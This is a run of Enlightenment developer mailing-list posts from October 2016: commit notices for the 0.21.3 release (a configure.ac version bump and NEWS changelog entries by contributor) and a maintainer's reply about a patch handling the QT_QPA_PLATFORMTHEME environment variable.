simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=0486176cf686847d9ca82bf64c6f48f3841783e7 commit 0486176cf686847d9ca82bf64c6f48f3841783e7 Author: Simon Lees Date: Fri Oct 7 16:17:04 2016 +1030 21.3 Release --- configure.ac | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/configure.ac b/configure.ac index 86f5f3d..0675328 100644 --- a/configure.ac +++ b/configure.ac @@ -2,11 +2,11 @@ ##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--## m4_define([v_maj], [0]) m4_define([v_min], [21]) -m4_define([v_mic], [2]) +m4_define([v_mic], [3]) m4_define([v_rev], m4_esyscmd([(git rev-list --count HEAD 2>/dev/null || echo 0) | tr -d '\n']))dnl ##-- When released, remove the dnl on the below line m4_undefine([v_rev]) -m4_define([relname], [0.21.2]) +m4_define([relname], [0.21.3]) ##-- When doing snapshots - change soname. remove dnl on below line m4_define([relname], [ver-0.21]) dnl m4_define([v_rel], [-release relname]) --
[EGIT] [core/enlightenment] enlightenment-0.21 02/02: 21.3 NEWS Updates
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=bb6beca850fb3dea43f2f9555f96f8c921e990b0 commit bb6beca850fb3dea43f2f9555f96f8c921e990b0 Author: Simon Lees Date: Fri Oct 7 16:40:03 2016 +1030 21.3 NEWS Updates --- NEWS | 83 1 file changed, 83 insertions(+) diff --git a/NEWS b/NEWS index 83a6078..4f983f7 100644 --- a/NEWS +++ b/NEWS @@ -1,3 +1,86 @@ +Release 0.21.3: +- +Carsten Haitzler (4): + update e po files + e exec - fix exec of enlightenment_open to use actual e prefix + explicitly use eina list types passing into EINA_LIST_FREE() + +Cedric BAIL (1): + fix text preview to use eina_strbuf_append_length that doesn't call strlen and crash. + +Christopher Michael (3): + Remove unused variables from ibar_resize_handle function + add missing EINA_UNUSED for function parameter + Update wayland readme file + +Derek Foreman (6): + Don't send keyboard leave events to unfocused clients + Fix error print when wl_wl fails to start + Fix xwayland binary location detection + Don't kill self during shutdown + NULL out xwayland fd handlers after deleting them + +Flavio Ceolin (1): + emix: when in alsa mode only operate on master + +Marcel Hollerbach (7): + ibar: try to get a better min size + tiling: place popup on the current active zone + tiling: be more accurate on the description + mixer: introduce Barrier checks + mixer: introduce emix_max_volume_get + ibar: multiply size with scale + mixer: lock up the slider for the case a drag is in progress + +Massimo Maiurana (1): + Updating slovenian translation + +Mike Blumenkrantz (34): + use stringshare_add() for evry files plugin mime types + another case of stringshare misuse re:efreet_mime_type_get() + ignore xwl clients when flagging wl surfaces as internal + add event handler for evry event type, not #define value + do not attempt to populate gadgets during type_add if site has not yet been populated + add docs for E_Comp struct members + move 'unmaximize' smart callback to after geom calc in client_unmaximize + use comp canvas win by default for any drop handler with an E_Object + handle e_comp deref during e_dnd shutdown to avoid crash + always use compositor object stacking when performing internal drags + clamp bryces to a lower canvas layer + use same layer in bryce editor for "above window" setting + set gadget added flag any time a gadget is created or wizarded + add separate codepath for handling layout of moving gadgets + force smart calc on gadget sites at key points during move operations + attempt to retain gadget size when executing move operations + adjust gadget drop coords for pointer offset + check visibility of gadget site 'events' member to determine drop availability + add backspace/delete for clearing all lockscreen gadgets + always use largest available size for free-oriented gadgets + add gadget doc note for gadget_destroyed callback re:object lifetimes + force bgpreview widget to resize after a wallpaper update + always delete gadget's display object and ensure gadget object is null + do not update bryce layer when restacking to a higher layer than CLIENT_ABOVE + remove extraneous recalc trigger when deleting a gadget + do not consume key events in comp autoclose key callback if desklock is active + add e_util_open(), unify all callers of enlightenment_open + remove (wrong) setting of layer for time's clock gadget popup + do not show wireless gadget popups if desklock is active + force shape queue when gadget util ctxpopups change visibility + print object type in shape debug if name does not exist + clamp gadget util ctxpopups to E_LAYER_POPUP at the lowest + handle "unmaximize" smart callback differently depending on fullscreen state + force zone useful geometry recalc on desk flip if prev/next desk has obstacles + +Romain Naour (2): + configure.ac: wayland only build fix + e_xkb: add guard around skip_new_keyboard + +Simon Lees (3): + Also set QT_STYLE_OVERRIDE + +YeongJong Lee (1): + fix korean translation mismatch + Release 0.21.2: - Carsten Haitzler (6): --
Re: [E-devel] [PATCH] e_main.c, env var QT_QPA_PLATFORMTHEME
On 10/11/2016 01:03 AM, PaulTT wrote: > 'cause it's no polite at all, to change and force user environment > variables, without any option ti change them > > added a check about env var already present > > > (plus Env vars done message was out of sequence) > > (and btw 'gtk2' i think is no more a correct value, for qt5, but i'm not > sure about that) > > Thanks i'll add that patch soon, but probably not in time for 21.3 which is already mostly done. gtk2 is still a correct value its just that the gtk2 theme engine is now built from outside the Qt theme repo. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
